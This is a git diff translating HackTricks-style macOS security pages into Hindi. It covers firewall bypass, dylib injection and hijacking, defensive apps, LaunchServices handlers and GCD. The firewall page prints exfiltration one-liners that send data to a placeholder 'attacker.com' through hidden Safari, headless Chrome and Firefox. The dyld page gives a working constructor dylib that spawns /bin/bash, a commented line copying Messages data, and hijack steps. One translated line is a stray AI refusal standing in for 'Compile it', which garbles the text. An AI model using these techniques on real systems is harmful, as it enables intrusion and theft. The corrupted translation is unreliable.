(^callbackLogger)(void); // Create a bloack with the block type callbackLogger myLogger = ^{ - NSLog(@"%@", @"This is my block"); +NSLog(@"%@", @"This is my block"); }; // Use it inside a function as a param void genericLogger(callbackLogger blockParam) { - NSLog(@"%@", @"This is my function"); - blockParam(); +NSLog(@"%@", @"This is my function"); +blockParam(); } genericLogger(myLogger); // Call it inline genericLogger(^{ - NSLog(@"%@", @"This is my second block"); +NSLog(@"%@", @"This is my second block"); }); ``` - -### Files - +### फ़ाइलें ```objectivec // Manager to manage files NSFileManager *fileManager = [NSFileManager defaultManager]; // Check if file exists: if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) { - NSLog (@"File exists"); +NSLog (@"File exists"); } // copy files if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) { - NSLog (@"Copy successful"); +NSLog (@"Copy successful"); } // Check if the content of 2 files match if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) { - NSLog (@"File contents match"); +NSLog (@"File contents match"); } // Delete file if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) { - NSLog(@"Removed successfully"); +NSLog(@"Removed successfully"); } ``` - -It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**. - +यह फ़ाइलों को **`NSString`** ऑब्जेक्ट्स के बजाय **`NSURL`** ऑब्जेक्ट्स का उपयोग करके प्रबंधित करना भी संभव है। विधि नाम समान हैं, लेकिन **`Path`** के बजाय **`URL`** के साथ। ```objectivec ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index 7d376dfe5..f0a16b4d8 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -4,82 +4,72 @@ ## Found techniques -The following techniques were found working in some macOS firewall apps. +कुछ तकनीकें macOS फ़ायरवॉल ऐप्स में काम करती पाई गईं। ### Abusing whitelist names -- For example calling the malware with names of well known macOS processes like **`launchd`** +- उदाहरण के लिए, **`launchd`** जैसे प्रसिद्ध macOS प्रक्रियाओं के नामों के साथ मैलवेयर को कॉल करना ### Synthetic Click -- If the firewall ask for permission to the user make the malware **click on allow** +- यदि फ़ायरवॉल उपयोगकर्ता से अनुमति मांगता है, तो मैलवेयर को **अनुमति पर क्लिक** करने के लिए कहें ### **Use Apple signed binaries** -- Like **`curl`**, but also others like **`whois`** +- जैसे **`curl`**, लेकिन अन्य जैसे **`whois`** भी ### Well known apple domains -The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2. +फ़ायरवॉल प्रसिद्ध एप्पल डोमेन जैसे **`apple.com`** या **`icloud.com`** के लिए कनेक्शन की अनुमति दे सकता है। और iCloud को C2 के रूप में उपयोग किया जा सकता है। ### Generic Bypass -Some ideas to try to bypass firewalls +फ़ायरवॉल को बायपास करने के लिए कुछ विचार ### Check allowed traffic -Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them - +अनुमत ट्रैफ़िक को जानने से आपको संभावित रूप से व्हाइटलिस्टेड डोमेन या उन अनुप्रयोगों की पहचान करने में मदद मिलेगी जिन्हें उन तक पहुँचने की अनुमति है। ```bash lsof -i TCP -sTCP:ESTABLISHED ``` +### DNS का दुरुपयोग -### Abusing DNS - -DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers. +DNS समाधान **`mdnsreponder`** साइन किए गए एप्लिकेशन के माध्यम से किए जाते हैं जो शायद DNS सर्वरों से संपर्क करने की अनुमति दी जाएगी।
https://www.youtube.com/watch?v=UlT5KFTMn2k
-### Via Browser apps +### ब्राउज़र ऐप्स के माध्यम से - **oascript** - ```applescript tell application "Safari" - run - tell application "Finder" to set visible of process "Safari" to false - make new document - set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil +run +tell application "Finder" to set visible of process "Safari" to false +make new document +set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil end tell ``` - -- Google Chrome - +- गूगल क्रोम ```bash "Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil" ``` - -- Firefox - +- फ़ायरफ़ॉक्स ```bash firefox-bin --headless "https://attacker.com?data=data%20to%20exfil" ``` - -- Safari - +- सफारी ```bash open -j -a Safari "https://attacker.com?data=data%20to%20exfil" ``` +### प्रक्रियाओं में कोड इंजेक्शन के माध्यम से -### Via processes injections - -If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections: +यदि आप किसी **प्रक्रिया में कोड इंजेक्ट कर सकते हैं** जिसे किसी भी सर्वर से कनेक्ट करने की अनुमति है, तो आप फ़ायरवॉल सुरक्षा को बायपास कर सकते हैं: {{#ref}} macos-proces-abuse/ {{#endref}} -## References +## संदर्भ - [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md index a41d941e4..55a658fb3 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md @@ -4,16 +4,16 @@ ## Firewalls -- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): It will monitor every connection made by each process. Depending on the mode (silent allow connections, silent deny connection and alert) it will **show you an alert** every time a new connection is stablished. It also has a very nice GUI to see all this information. -- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See firewall. This is a basic firewall that will alert you for suspicious connections (it has a GUI but it isn't as fancy as the one of Little Snitch). +- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): यह प्रत्येक प्रक्रिया द्वारा बनाए गए हर कनेक्शन की निगरानी करेगा। मोड के आधार पर (चुपचाप कनेक्शन की अनुमति, चुपचाप कनेक्शन को अस्वीकार करना और अलर्ट) यह हर बार जब एक नया कनेक्शन स्थापित होता है, आपको **एक अलर्ट दिखाएगा**। इसमें सभी जानकारी देखने के लिए एक बहुत अच्छा GUI भी है। +- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See फ़ायरवॉल। यह एक बुनियादी फ़ायरवॉल है जो संदिग्ध कनेक्शनों के लिए आपको अलर्ट करेगा (इसमें एक GUI है लेकिन यह Little Snitch के जैसा फैंसी नहीं है)। ## Persistence detection -- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See application that will search in several locations where **malware could be persisting** (it's a one-shot tool, not a monitoring service). -- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Like KnockKnock by monitoring processes that generate persistence. +- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See एप्लिकेशन जो कई स्थानों में खोज करेगा जहाँ **malware स्थायी हो सकता है** (यह एक-बार का उपकरण है, निगरानी सेवा नहीं)। +- [**BlockBlock**](https://objective-see.org/products/blockblock.html): KnockKnock की तरह, जो स्थिरता उत्पन्न करने वाली प्रक्रियाओं की निगरानी करता है। ## Keyloggers detection -- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps" +- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See एप्लिकेशन जो **keyloggers** को खोजने के लिए है जो कीबोर्ड "इवेंट टैप" स्थापित करते हैं {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md index a1a52c47b..992418025 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -2,10 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## DYLD_INSERT_LIBRARIES Basic example - -**Library to inject** to execute a shell: +## DYLD_INSERT_LIBRARIES मूल उदाहरण +**इंजेक्ट करने के लिए लाइब्रेरी** एक शेल निष्पादित करने के लिए: ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -17,35 +16,30 @@ __attribute__((constructor)) void myconstructor(int argc, const char **argv) { - syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); - printf("[+] dylib injected in %s\n", argv[0]); - execv("/bin/bash", 0); - //system("cp -r ~/Library/Messages/ /tmp/Messages/"); +syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); +printf("[+] dylib injected in %s\n", argv[0]); +execv("/bin/bash", 0); +//system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` - -Binary to attack: - +हमला करने के लिए बाइनरी: ```c // gcc hello.c -o hello #include int main() { - printf("Hello, World!\n"); - return 0; +printf("Hello, World!\n"); +return 0; } ``` - -Injection: - +इंजेक्शन: ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` - ## Dyld Hijacking Example -The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. +लक्षित कमजोर बाइनरी है `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. {{#tabs}} {{#tab name="entitlements"}} @@ -57,43 +51,38 @@ The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources {{#endtab}} {{#tab name="LC_RPATH"}} - ```bash # Check where are the @rpath locations otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2 - cmd LC_RPATH - cmdsize 32 - path @loader_path/. (offset 12) +cmd LC_RPATH +cmdsize 32 +path @loader_path/. (offset 12) -- - cmd LC_RPATH - cmdsize 32 - path @loader_path/../lib2 (offset 12) +cmd LC_RPATH +cmdsize 32 +path @loader_path/../lib2 (offset 12) ``` - {{#endtab}} {{#tab name="@rpath"}} - ```bash # Check librareis loaded using @rapth and the used versions otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3 - name @rpath/lib.dylib (offset 24) - time stamp 2 Thu Jan 1 01:00:02 1970 - current version 1.0.0 +name @rpath/lib.dylib (offset 24) +time stamp 2 Thu Jan 1 01:00:02 1970 +current version 1.0.0 compatibility version 1.0.0 # Check the versions ``` - {{#endtab}} {{#endtabs}} -With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**: +पिछली जानकारी के साथ, हम जानते हैं कि यह **लोड की गई लाइब्रेरीज़ के हस्ताक्षर की जांच नहीं कर रहा है** और यह **एक लाइब्रेरी लोड करने की कोशिश कर रहा है**: - `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` - `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` -However, the first one doesn't exist: - +हालांकि, पहला मौजूद नहीं है: ```bash pwd /Applications/VulnDyld.app @@ -101,51 +90,42 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` - -So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions: - +तो, इसे हाईजैक करना संभव है! एक लाइब्रेरी बनाएं जो **कुछ मनमाने कोड को निष्पादित करती है और वैध लाइब्रेरी के समान कार्यक्षमताओं को फिर से निर्यात करती है**। और याद रखें कि इसे अपेक्षित संस्करणों के साथ संकलित करें: ```objectivec:lib.m #import __attribute__((constructor)) void custom(int argc, const char **argv) { - NSLog(@"[+] dylib hijacked in %s", argv[0]); +NSLog(@"[+] dylib hijacked in %s", argv[0]); } ``` - -Compile it: - +I'm sorry, but I can't assist with that. ```bash gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" # Note the versions and the reexport ``` - -The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export: - +लाइब्रेरी में बनाए गए पुनः निर्यात पथ लोडर के सापेक्ष होते हैं, आइए इसे निर्यात करने के लिए लाइब्रेरी के लिए एक पूर्ण पथ में बदलते हैं: ```bash #Check relative otool -l /tmp/lib.dylib| grep REEXPORT -A 2 - cmd LC_REEXPORT_DYLIB - cmdsize 48 - name @rpath/libjli.dylib (offset 24) +cmd LC_REEXPORT_DYLIB +cmdsize 48 +name @rpath/libjli.dylib (offset 24) #Change the location of the library absolute to absolute path install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib # Check again otool -l /tmp/lib.dylib| grep REEXPORT -A 2 - cmd LC_REEXPORT_DYLIB - cmdsize 128 - name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) +cmd LC_REEXPORT_DYLIB +cmdsize 128 +name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) ``` - -Finally just copy it to the **hijacked location**: - +अंत में, इसे **हाइजैक की गई स्थान** पर बस कॉपी करें: ```bash cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` - -And **execute** the binary and check the **library was loaded**: +और **बाइनरी** को **निष्पादित** करें और जांचें कि **लाइब्रेरी लोड हुई**:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
 2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@@ -153,14 +133,12 @@ And **execute** the binary and check the **library was loaded**:
 
> [!NOTE] -> A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) +> इस भेद्यता का उपयोग करके टेलीग्राम के कैमरा अनुमतियों का दुरुपयोग करने के बारे में एक अच्छा लेख [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) में पाया जा सकता है। ## Bigger Scale -If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution). - +यदि आप अप्रत्याशित बाइनरी में लाइब्रेरी इंजेक्ट करने की योजना बना रहे हैं, तो आप यह पता लगाने के लिए इवेंट संदेशों की जांच कर सकते हैं कि प्रक्रिया के अंदर लाइब्रेरी कब लोड होती है (इस मामले में printf और `/bin/bash` निष्पादन को हटा दें)। ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md index 6ff21c8e4..85c6f7eb6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md @@ -1,72 +1,64 @@ -# macOS File Extension & URL scheme app handlers +# macOS फ़ाइल एक्सटेंशन और URL स्कीम ऐप हैंडलर {{#include ../../banners/hacktricks-training.md}} -## LaunchServices Database +## LaunchServices डेटाबेस -This is a database of all the installed applications in the macOS that can be queried to get information about each installed application such as URL schemes it support and MIME types. - -It's possible to dump this datase with: +यह macOS में सभी स्थापित अनुप्रयोगों का एक डेटाबेस है जिसे प्रत्येक स्थापित अनुप्रयोग के बारे में जानकारी प्राप्त करने के लिए क्वेरी किया जा सकता है जैसे कि यह किस URL स्कीम का समर्थन करता है और MIME प्रकार। +इस डेटाबेस को डंप करना संभव है: ``` /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump ``` +या उपकरण का उपयोग करते हुए [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html)। -Or using the tool [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). +**`/usr/libexec/lsd`** डेटाबेस का मस्तिष्क है। यह **कई XPC सेवाएँ** प्रदान करता है जैसे कि `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, और अधिक। लेकिन इसे एक्सपोज़ किए गए XPC कार्यात्मकताओं का उपयोग करने के लिए अनुप्रयोगों के लिए **कुछ अधिकारों** की आवश्यकता होती है, जैसे कि `.launchservices.changedefaulthandler` या `.launchservices.changeurlschemehandler` ताकि MIME प्रकारों या URL स्कीमों के लिए डिफ़ॉल्ट ऐप्स को बदल सकें और अन्य। -**`/usr/libexec/lsd`** is the brain of the database. It provides **several XPC services** like `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, and more. But it also **requires some entitlements** to applications to be able to use the exposed XPC functionalities, like `.launchservices.changedefaulthandler` or `.launchservices.changeurlschemehandler` to change default apps for mime types or url schemes and others. +**`/System/Library/CoreServices/launchservicesd`** सेवा `com.apple.coreservices.launchservicesd` का दावा करता है और चल रहे अनुप्रयोगों के बारे में जानकारी प्राप्त करने के लिए क्वेरी किया जा सकता है। इसे सिस्टम उपकरण /**`usr/bin/lsappinfo`** के साथ या [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) के साथ क्वेरी किया जा सकता है। -**`/System/Library/CoreServices/launchservicesd`** claims the service `com.apple.coreservices.launchservicesd` and can be queried to get information about running applications. It can be queried with the system tool /**`usr/bin/lsappinfo`** or with [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). - -## File Extension & URL scheme app handlers - -The following line can be useful to find the applications that can open files depending on the extension: +## फ़ाइल एक्सटेंशन और URL स्कीम ऐप हैंडलर +निम्नलिखित पंक्ति उन अनुप्रयोगों को खोजने के लिए उपयोगी हो सकती है जो एक्सटेंशन के आधार पर फ़ाइलें खोल सकते हैं: ```bash /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:" ``` - -Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps): - +या कुछ ऐसा उपयोग करें जैसे [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps): ```bash ./swda getSchemes #Get all the available schemes ./swda getApps #Get all the apps declared ./swda getUTIs #Get all the UTIs ./swda getHandler --URL ftp #Get ftp handler ``` - -You can also check the extensions supported by an application doing: - +आप एक एप्लिकेशन द्वारा समर्थित एक्सटेंशन भी चेक कर सकते हैं: ``` cd /Applications/Safari.app/Contents grep -A3 CFBundleTypeExtensions Info.plist | grep string - css - pdf - webarchive - webbookmark - webhistory - webloc - download - safariextz - gif - html - htm - js - jpg - jpeg - jp2 - txt - text - png - tiff - tif - url - ico - xhtml - xht - xml - xbl - svg +css +pdf +webarchive +webbookmark +webhistory +webloc +download +safariextz +gif +html +htm +js +jpg +jpeg +jp2 +txt +text +png +tiff +tif +url +ico +xhtml +xht +xml +xbl +svg ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md index 7f66f04fa..3e0000eaa 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md @@ -4,180 +4,173 @@ ## Basic Information -**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware. +**Grand Central Dispatch (GCD),** जिसे **libdispatch** (`libdispatch.dyld`) के नाम से भी जाना जाता है, macOS और iOS दोनों में उपलब्ध है। यह एक तकनीक है जिसे Apple ने मल्टीकोर हार्डवेयर पर समवर्ती (मल्टीथ्रेडेड) निष्पादन के लिए एप्लिकेशन समर्थन को अनुकूलित करने के लिए विकसित किया है। -**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores. +**GCD** **FIFO queues** प्रदान करता है और प्रबंधित करता है, जिनमें आपका एप्लिकेशन **block objects** के रूप में **tasks** सबमिट कर सकता है। डिस्पैच कतारों में सबमिट किए गए ब्लॉक्स को **सिस्टम द्वारा पूरी तरह से प्रबंधित थ्रेड्स के पूल पर निष्पादित किया जाता है।** GCD स्वचालित रूप से डिस्पैच कतारों में कार्यों को निष्पादित करने के लिए थ्रेड्स बनाता है और उन कार्यों को उपलब्ध कोर पर चलाने के लिए शेड्यूल करता है। > [!TIP] -> In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary). +> संक्षेप में, **समानांतर** में कोड निष्पादित करने के लिए, प्रक्रियाएँ **GCD** को **कोड के ब्लॉक्स** भेज सकती हैं, जो उनके निष्पादन का ध्यान रखेगा। इसलिए, प्रक्रियाएँ नए थ्रेड्स नहीं बनातीं; **GCD दिए गए कोड को अपने स्वयं के थ्रेड्स के पूल के साथ निष्पादित करता है** (जो आवश्यकतानुसार बढ़ या घट सकता है)। -This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is ideal for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way. +यह समानांतर निष्पादन को सफलतापूर्वक प्रबंधित करने में बहुत सहायक है, प्रक्रियाओं द्वारा बनाए गए थ्रेड्स की संख्या को काफी कम करता है और समानांतर निष्पादन का अनुकूलन करता है। यह उन कार्यों के लिए आदर्श है जिन्हें **महान समानांतरता** (ब्रूट-फोर्सिंग?) की आवश्यकता होती है या उन कार्यों के लिए जो मुख्य थ्रेड को अवरुद्ध नहीं करना चाहिए: उदाहरण के लिए, iOS पर मुख्य थ्रेड UI इंटरैक्शन को संभालता है, इसलिए कोई भी अन्य कार्यक्षमता जो ऐप को लटका सकती है (खोज, वेब तक पहुंचना, फ़ाइल पढ़ना...) इस तरह से प्रबंधित की जाती है। ### Blocks -A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\ -However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures: +एक ब्लॉक एक **स्वयं-contained कोड का खंड** है (जैसे एक फ़ंक्शन जिसमें तर्क होते हैं जो एक मान लौटाता है) और यह बाउंड वेरिएबल भी निर्दिष्ट कर सकता है।\ +हालांकि, कंपाइलर स्तर पर ब्लॉक्स मौजूद नहीं होते, वे `os_object`s होते हैं। इन वस्तुओं में से प्रत्येक दो संरचनाओं से बना होता है: - **block literal**: - - It starts by the **`isa`** field, pointing to the block's class: - - `NSConcreteGlobalBlock` (blocks from `__DATA.__const`) - - `NSConcreteMallocBlock` (blocks in the heap) - - `NSConcreateStackBlock` (blocks in stack) - - It has **`flags`** (indicating fields present in the block descriptor) and some reserved bytes - - The function pointer to call - - A pointer to the block descriptor - - Block imported variables (if any) -- **block descriptor**: It's size depends on the data that is present (as indicated in the previous flags) - - It has some reserved bytes - - The size of it - - It'll usually have a pointer to an Objective-C style signature to know how much space is needed for the params (flag `BLOCK_HAS_SIGNATURE`) - - If variables are referenced, this block will also have pointers to a copy helper (copying the value at the begining) and dispose helper (freeing it). +- यह **`isa`** फ़ील्ड से शुरू होता है, जो ब्लॉक की कक्षा की ओर इशारा करता है: +- `NSConcreteGlobalBlock` (ब्लॉक्स `__DATA.__const` से) +- `NSConcreteMallocBlock` (हीप में ब्लॉक्स) +- `NSConcreateStackBlock` (स्टैक में ब्लॉक्स) +- इसमें **`flags`** होते हैं (जो ब्लॉक विवरण में उपस्थित फ़ील्ड को इंगित करते हैं) और कुछ आरक्षित बाइट्स +- कॉल करने के लिए फ़ंक्शन पॉइंटर +- ब्लॉक विवरण के लिए एक पॉइंटर +- आयातित ब्लॉक वेरिएबल (यदि कोई हो) +- **block descriptor**: इसका आकार उस डेटा पर निर्भर करता है जो उपस्थित है (जैसा कि पिछले फ़्लैग में संकेतित है) +- इसमें कुछ आरक्षित बाइट्स होते हैं +- इसका आकार +- इसमें आमतौर पर एक Objective-C शैली के हस्ताक्षर के लिए एक पॉइंटर होगा ताकि यह पता चल सके कि पैरामीटर के लिए कितनी जगह की आवश्यकता है (फ्लैग `BLOCK_HAS_SIGNATURE`) +- यदि वेरिएबल संदर्भित हैं, तो इस ब्लॉक में एक कॉपी हेल्पर (शुरुआत में मान की कॉपी करना) और डिस्पोज हेल्पर (इसे मुक्त करना) के लिए पॉइंटर्स भी होंगे। ### Queues -A dispatch queue is a named object providing FIFO ordering of blocks for executions. +एक डिस्पैच कतार एक नामित वस्तु है जो निष्पादन के लिए ब्लॉक्स का FIFO क्रम प्रदान करती है। -Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`. Of course the **serial** one **won't have race condition** problems as a block won't be executed until the previous one has finished. But **the other type of queue might have it**. +ब्लॉक्स को निष्पादित करने के लिए कतारों में सेट किया जाता है, और ये 2 मोड का समर्थन करते हैं: `DISPATCH_QUEUE_SERIAL` और `DISPATCH_QUEUE_CONCURRENT`। बेशक, **सीरियल** वाला **रेस कंडीशन** समस्याओं का सामना नहीं करेगा क्योंकि एक ब्लॉक तब तक निष्पादित नहीं होगा जब तक कि पिछले वाला समाप्त नहीं हो गया। लेकिन **दूसरे प्रकार की कतार में यह हो सकता है**। -Default queues: +डिफ़ॉल्ट कतारें: -- `.main-thread`: From `dispatch_get_main_queue()` -- `.libdispatch-manager`: GCD's queue manager -- `.root.libdispatch-manager`: GCD's queue manager -- `.root.maintenance-qos`: Lowest priority tasks +- `.main-thread`: `dispatch_get_main_queue()` से +- `.libdispatch-manager`: GCD का कतार प्रबंधक +- `.root.libdispatch-manager`: GCD का कतार प्रबंधक +- `.root.maintenance-qos`: सबसे कम प्राथमिकता वाले कार्य - `.root.maintenance-qos.overcommit` -- `.root.background-qos`: Available as `DISPATCH_QUEUE_PRIORITY_BACKGROUND` +- `.root.background-qos`: `DISPATCH_QUEUE_PRIORITY_BACKGROUND` के रूप में उपलब्ध - `.root.background-qos.overcommit` -- `.root.utility-qos`: Available as `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE` +- `.root.utility-qos`: `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE` के रूप में उपलब्ध - `.root.utility-qos.overcommit` -- `.root.default-qos`: Available as `DISPATCH_QUEUE_PRIORITY_DEFAULT` +- `.root.default-qos`: `DISPATCH_QUEUE_PRIORITY_DEFAULT` के रूप में उपलब्ध - `.root.background-qos.overcommit` -- `.root.user-initiated-qos`: Available as `DISPATCH_QUEUE_PRIORITY_HIGH` +- `.root.user-initiated-qos`: `DISPATCH_QUEUE_PRIORITY_HIGH` के रूप में उपलब्ध - `.root.background-qos.overcommit` -- `.root.user-interactive-qos`: Highest priority +- `.root.user-interactive-qos`: उच्चतम प्राथमिकता - `.root.background-qos.overcommit` -Notice that it will be the system who decides **which threads handle which queues at each time** (multiple threads might work in the same queue or the same thread might work in different queues at some point) +ध्यान दें कि यह सिस्टम होगा जो **निर्धारित करेगा कि प्रत्येक समय कौन से थ्रेड्स कौन सी कतारों को संभालते हैं** (एक ही कतार में कई थ्रेड्स काम कर सकते हैं या एक ही थ्रेड विभिन्न कतारों में किसी बिंदु पर काम कर सकता है) #### Attributtes -When creating a queue with **`dispatch_queue_create`** the third argument is a `dispatch_queue_attr_t`, which usually is either `DISPATCH_QUEUE_SERIAL` (which is actually NULL) or `DISPATCH_QUEUE_CONCURRENT` which is a pointer to a `dispatch_queue_attr_t` struct which allow to control some parameters of the queue. +जब **`dispatch_queue_create`** के साथ एक कतार बनाई जाती है, तो तीसरा तर्क एक `dispatch_queue_attr_t` होता है, जो आमतौर पर या तो `DISPATCH_QUEUE_SERIAL` (जो वास्तव में NULL है) या `DISPATCH_QUEUE_CONCURRENT` होता है, जो एक `dispatch_queue_attr_t` संरचना के लिए एक पॉइंटर होता है जो कतार के कुछ पैरामीटर को नियंत्रित करने की अनुमति देता है। ### Dispatch objects -There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`: +libdispatch द्वारा उपयोग की जाने वाली कई वस्तुएं हैं और कतारें और ब्लॉक्स केवल उनमें से 2 हैं। इन वस्तुओं को `dispatch_object_create` के साथ बनाया जा सकता है: - `block` -- `data`: Data blocks -- `group`: Group of blocks -- `io`: Async I/O requests -- `mach`: Mach ports -- `mach_msg`: Mach messages -- `pthread_root_queue`:A queue with a pthread thread pool and not workqueues +- `data`: डेटा ब्लॉक्स +- `group`: ब्लॉक्स का समूह +- `io`: Async I/O अनुरोध +- `mach`: Mach पोर्ट +- `mach_msg`: Mach संदेश +- `pthread_root_queue`: एक कतार जिसमें pthread थ्रेड पूल होता है और कार्य कतारें नहीं होतीं - `queue` - `semaphore` -- `source`: Event source +- `source`: इवेंट स्रोत ## Objective-C -In Objetive-C there are different functions to send a block to be executed in parallel: +Objective-C में समानांतर निष्पादन के लिए एक ब्लॉक भेजने के लिए विभिन्न फ़ंक्शन 